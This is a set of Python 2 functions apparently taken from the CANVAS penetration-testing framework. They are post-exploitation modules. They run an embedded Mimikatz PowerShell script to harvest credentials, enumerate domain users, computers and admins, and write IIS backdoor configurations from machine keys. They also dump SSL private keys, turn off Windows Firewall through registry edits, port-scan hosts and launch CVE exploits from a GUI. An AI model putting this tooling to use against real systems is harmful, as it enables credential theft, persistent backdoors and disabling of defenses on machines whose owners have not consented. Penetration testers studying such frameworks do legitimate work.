def runmodule(self,args): """ When you call "runmodule whoami -O k:8 -O b:9", this is where you end up. args is: whoami -O -k:8 -O b:9 TODO: proper parser on argument string! """ module=args.split(" ")[0].strip() self.log("Running module: %s"%module) args=" ".join(args.split(" ")[1:]) self.log("Args: %s"%args) import canvasengine app = canvasengine.getModuleExploit(module) app.link(self) if not app.argsDict['passednodes']: app.argsDict['passednodes'] = [self.node] if hasattr(app, "neededListenerTypes"): needed_listeners = app.neededListenerTypes() if needed_listeners: listener = self.engine.autoListener(app, needed_listeners[0]) app.callback = listener #we do quote parsing here because we need to handle arguments like #-O command:"sh -c id" node = standard_callback_commandline(app, node=self.node, args=args, fromcommandline=False, quoteparse=True) if node not in [0, 1, None]: if hasattr(node, 'interact'): node.interact()
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) ret = False # runpowershellscript need a file to upload, it doesn't receive a buffer yet. So we have to comply with a tmp file for node in self.argsDict["passednodes"]: ntype = node.nodetype shell = node.shell if ntype == "PowerShellNode" or ntype in ['win32Node', 'win64Node']: tfile = file_utf8_encoding( open( os.path.abspath(os.path.join(os.path.dirname(__file__), "Resources/", "check4PSadmin.ps1")), "rb").read() ) tfile = self.replaceValuesInScript(tfile) runpow = canvasengine.getModuleExploit("runpowershellscript") runpow.link(self) runpow.argsDict["PSBuffer"] = tfile runpow.argsDict["copytodisk"] = False ret = runpow.run() users = [] for a in runpow.result.replace("\r\n", "").split("***"): a = string.strip(a) if a: users += [ a.split("@##@") ] self.result = users self.setInfo("%s - done (success)" % NAME) return True else: logging.info("Node (%s) not supported" % ntype) self.setInfo("%s - done (failed)" % NAME) return ret
def do_runmod(self, arg): """\nRun a canvas module\n""" args = arg.split() if len(args) < 2: print "usage: runmod <num> <module> <module args>" print "ex: runmod \n" return if self.select_node(args[0]) == -1: return module = args[1] mod_args = "" for i in args[2:len(args)]: mod_args += i + " " for node in self.node: import canvasengine app = canvasengine.getModuleExploit(module) app.link(self) standard_callback_commandline(app, node=node, args=mod_args, fromcommandline=False, quoteparse=True)
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) ret = False for node in self.argsDict["passednodes"]: ntype = node.nodetype shell = node.shell if ntype == "PowerShellNode" or ntype in ['win32Node', 'win64Node']: fps1 = file_utf8_encoding( open( os.path.abspath(os.path.join(os.path.dirname(__file__), "Resources/", "getAllSystem.ps1")), "rb").read() ) fps1 = fps1.replace("ARGSIZELIMIT", str(self.MaxSize)) runpow = canvasengine.getModuleExploit("runpowershellscript") runpow.link(self) runpow.argsDict["PSBuffer"] = fps1 runpow.argsDict["copytodisk"] = False ret = runpow.run() computers = [] for a in runpow.result.replace("\r\n", "").split("***"): a = string.strip(a) if a: computers += [ a.split("@##@") ] self.result = computers self.setInfo("%s - done (success)" % NAME) return True else: logging.info("Node (%s) not supported" % ntype) self.setInfo("%s - done (failed)" % NAME) return ret
def run(self): self.setInfo("%s (in progress)" % (NAME)) ret = False # runpowershellscript need a file to upload, it doesn't receive a buffer yet. So we have to comply with a tmp file for node in self.argsDict["passednodes"]: ntype = node.nodetype shell = node.shell if ntype == "PowerShellNode": tfile = self.getpowershellfile() runpow = canvasengine.getModuleExploit("runpowershellscript") runpow.link(self) runpow.argsDict["filename"] = tfile.name runpow.argsDict["copytodisk"] = False ret = runpow.run() users = [] for a in runpow.result.replace("\r\n", "").split("***"): a = string.strip(a) if a: users += [a.split("@##@")] self.result = users self.setInfo("%s - done (success)" % NAME) return True else: logging.info( "Node not supported. This module only runs on a PowerShell node" ) self.setInfo("%s - done (failed)" % NAME) return ret
def sendPSScript(self, script): self.result = "" runcomm = canvasengine.getModuleExploit("runpowershellscript") runcomm.link(self) runcomm.argsDict["filename"] = randomstring(8) + ".ps1" runcomm.argsDict["PSBuffer"] = script runcomm.argsDict["copytodisk"] = True runcomm.argsDict["option_value"] = "Local" ret = runcomm.run() if ret: self.result = runcomm.result return True else: logging.error("Error calling the runpowershellscript module") return False
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) ret = False for node in self.argsDict["passednodes"]: self.target_ip = node.get_interesting_interface() ntype = node.nodetype shell = node.shell if ntype == "PowerShellNode" or ntype in [ "win32Node", "win64Node" ]: tfile = file_utf8_encoding( open( os.path.abspath( os.path.join(os.path.dirname(__file__), "Resources/", "invokeMimikatz.ps1")), "rb").read()) tfile = tfile.replace("HELLOCOMPUTER", str(self.computer)) tfile = tfile.replace("HELLOCOMMAND", str(self.command)) runpow = canvasengine.getModuleExploit("runpowershellscript") runpow.link(self) runpow.argsDict["PSBuffer"] = tfile if ntype in ["win32Node", "win64Node"]: # the script is too big to be executed in memory # in a windows node, so we neeed copy to disk runpow.argsDict["filename"] = randomstring(8) + ".ps1" runpow.argsDict["copytodisk"] = True else: runpow.argsDict["copytodisk"] = False runpow.argsDict["showresults"] = False ret = runpow.run() self.result = runpow.result self.outputFile(self.result) logging.info( "Mimikatz results retrieved. Full results in Report directory" ) self.setInfo("%s - done (success)" % NAME) ret = True else: logging.info( "Please run this module from a PowerShell or Windows node") self.setInfo("%s - done (failed)" % NAME) ret = False return ret
def run(self): self.setInfo("%s" % NAME) node = self.argsDict["passednodes"][0] percent = 0 increase = int(math.ceil(100 / len(self.argsDict["passednodes"]))) self.results = [] for (index, node) in enumerate(self.argsDict["passednodes"]): if node.nodetype not in self.supportedNodeTypes: logging.error( "Cannot run get_machinekeys on a non-Windows MOSDEF node") else: self.node = node logging.info("Creating backdoor config for: %s" % self.node) backdoor_config = self.get_backdoor_config() if backdoor_config != None: self.add_local_machinekeys(backdoor_config) path = os.path.join( self.output(ip=self.node.get_interesting_interface(), subdir="IISBackdoor"), "config.json-%s.txt" % random.randint(0, 3000)) json_data = json.dumps(backdoor_config, indent=4) with open(path, "wb") as handle: handle.write(json_data) logging.info(json_data) logging.info("Wrote backdoor config to: %s" % path) self.results.append(backdoor_config) logging.info("Dumping SSL private keys...") dumper = canvasengine.getModuleExploit("dump_certstore") dumper.link(self) dumper.run() else: logging.info("unable to process node %s" % self.node) percent += increase self.set_progr("Processed node %s" % (percent), percent) self.setInfo("%s - done (success: %s)" % (NAME, self.result)) return 1
def doRecon(self, module, target): self.log("Doing recon with %s" % module) scan = canvasengine.getModuleExploit(module) scan.link(self) scan.argsDict["postscan"] = "ifids" #do ifids afterwards if possible if self.portscantype == "fast": #add the ports you want to portscan here...we pass this as a list to the portscanner scan.argsDict["mode"] = "chosen ports" scan.argsDict["allports"] = range(1, 1025) + [7100] #if we're running locally on a windows or cygwin box, then #we need to set covertness to 10 so that the portscan doesn't #take forever #if self.argsDict["passednodes"][0].nodetype=="LocalNode" and os.name.lower() in ["nt"]: # scan.covertness=10 # self.log("Set covertness to 10 for Windows user.") scan.target = target scan.run() return scan.result
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) ret = False for node in self.argsDict["passednodes"]: self.target_ip = node.get_interesting_interface() ntype = node.nodetype shell = node.shell if ntype == "PowerShellNode" or ntype in [ 'win32Node', 'win64Node' ]: tfile = file_utf8_encoding( open( os.path.abspath( os.path.join(os.path.dirname(__file__), "Resources/", "getDomainUsers.ps1")), "rb").read()) tfile = tfile.replace("HELLOCOMPUTER", str(self.MaxSize)) runpow = canvasengine.getModuleExploit("runpowershellscript") runpow.link(self) runpow.argsDict["PSBuffer"] = tfile runpow.argsDict["copytodisk"] = False runpow.argsDict["showresults"] = False ret = runpow.run() users = [] for a in runpow.result.replace("\r\n", "").split("***"): a = string.strip(a) if a: users += [a.split("@##@")] if self.adBrowser == True: self.result = users self.outputFile(users) logging.info( "%s users retrieved. Full results in Report directory" % str(len(users))) self.setInfo("%s - done (success)" % NAME) return True else: logging.info("Node (%s) not supported" % ntype) self.setInfo("%s - done (failed)" % NAME) return ret
def run(self): self.getargs() self.setInfo("%s (in progress)" % (NAME)) ret = False # runpowershellscript need a file to upload, it doesn't receive a buffer yet. So we have to comply with a tmp file for node in self.argsDict["passednodes"]: ntype = node.nodetype shell = node.shell if ntype == "PowerShellNode" or ntype in [ 'win32Node', 'win64Node' ]: uploadCallbackName = self.getPowerhShellCallback() destFile = self.uploadPowerShellScript(uploadCallbackName, shell) p = shell.getcwd() tfile = self.getpowershellfile(p + "\\" + destFile) runpow = canvasengine.getModuleExploit("runpowershellscript") runpow.link(self) runpow.argsDict["filename"] = tfile.name runpow.argsDict["copytodisk"] = False ret = runpow.run() users = [] for a in runpow.result.replace("\r\n", "").split("***"): a = string.strip(a) if a: users += [a.split("@##@")] self.result = users self.setInfo("%s - done (success)" % NAME) tfile.close() os.remove(str(tfile.name)) return True else: logging.info("Node (%s) not supported" % ntype) self.setInfo("%s - done (failed)" % NAME) return ret
def treeview_button_press(self, widget, event): model, iter = self.treeview.get_selection().get_selected() if (iter == None): return exp = model.get_value(iter, 0) name = model.get_value(iter, 1) desc = model.get_value(iter, 2) if ("CVE" in exp): hostname = model.get_value( model.iter_parent(model.iter_parent(iter)), 0) elif (exp in ["Remote", "Clientside", "Local"]): hostname = model.get_value(model.iter_parent(iter), 0) else: hostname = exp m = re.search("[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+", hostname) if not m == None: hostname = m.group() # Expand / collapse handler if (event.button == 1): if (event.type == gtk.gdk._2BUTTON_PRESS): if ("CVE" in exp): # Check exploit type Remote / Client Side / Local CANVAS / Local D2 exploittype = model.get_value(model.iter_parent(iter), 0) if (exploittype == "Remote"): # Get hostname and add host to "Knowledge" self.argsDict["host"] = hostname app = canvasengine.getModuleExploit("addhost") app.link(self) app.run() self.log("[D2 LOG] Host %s added" % hostname) # Set hostname as target host node = self.argsDict["passednodes"][0] target = node.get_known_host(hostname) target.set_as_target() self.log("[D2 LOG] Host %s set as target" % hostname) # Start CANVAS exploit self.gui.gui_queue_append("launch_exploit", [name]) self.log("[D2 LOG] Exploit %s started" % name) elif (exploittype == "Clientside"): self.log( "[D2 LOG] Exploit %s can be started from D2 Client Insider" % name) elif (exploittype == "Local"): for item in self.ReportList: if (item.HostName == hostname): for i, vuln in enumerate(item.CVEAList): if (vuln == exp): if (item.ExploitAType[i] == "CANVAS"): self.log( "[D2 LOG] Local Exploit %s can be started from CANVAS" % name) elif (item.ExploitAType[i] == "D2"): path = os.getcwd( ) + "/3rdparty/D2SEC/d2sec_modules/" + item.ExploitAList[ i][2] + "/" + item.ExploitAList[ i][0] + "/" self.log( "[D2 LOG] Local Exploit %s can be started from: %s" % (name, path)) break break # Right click elif (event.button == 3): if not (exp in ["Remote", "Clientside", "Local"]) and not ("CVE" in exp): menulines = ["Delete"] menu = gtk.Menu() for l in menulines: mline = gtk.MenuItem(l) mline.connect("activate", self.menu_response, l) mline.show() menu.append(mline) menu.show() menu.popup(None, None, None, event.button, event.time) return
def run(self): self.setInfo("%s (in progress)" % (NAME)) node = self.argsDict["passednodes"][0] self.result = [] for node in self.argsDict["passednodes"]: self.node = node nodetype = node.nodetype capabilities = node.capabilities if "win32api" in capabilities: ver = node.shell.GetVersionEx() ver = ver[1] if ver["Major Version"] >= 6: #Disable through registry (need reboot in Win7/Vista/2008) reg = canvasengine.getModuleExploit("modify_registry") reg.link reg.reg_key = "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" #Standard reg.reg_subkey = "EnableFirewall" reg.reg_type = "REG_DWORD" reg.reg_val = "0" reg.hive = "HKEY_LOCAL_MACHINE" reg.argsDict["passednodes"] = [node] reg.run() reg.reg_key = "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\PublicProfile" #Public reg.run() self.log( "Disabled through registry (restart MpsSvc service to take effect)" ) ret = 1 self.result += [ret] else: #Disable through COM interface (XP/2003 only - instant effect) ret = self.DisableWindowsFirewall() self.log( "Disable through COM interface (XP/2003 only - instant effect)" ) self.log("Return result: 0x%08x" % ret) self.result += [ret] if ret == 1: self.log("Successfully disabled Windows Firewall. 0x%08x" % ret) else: self.log( "Couldn't turn off Windows Firewall, make sure you have Administrator privileges. 0x%08x" % ret) else: self.log( "The node named %s of type %s does not have the capabilities needed to run this command" % (node.get_name(), nodetype)) self.result += [0] if 1 in self.result: ret = 1 else: ret = 0 self.dispshellcmd = self.command self.setInfo("%s - (finished)" % (NAME)) return ret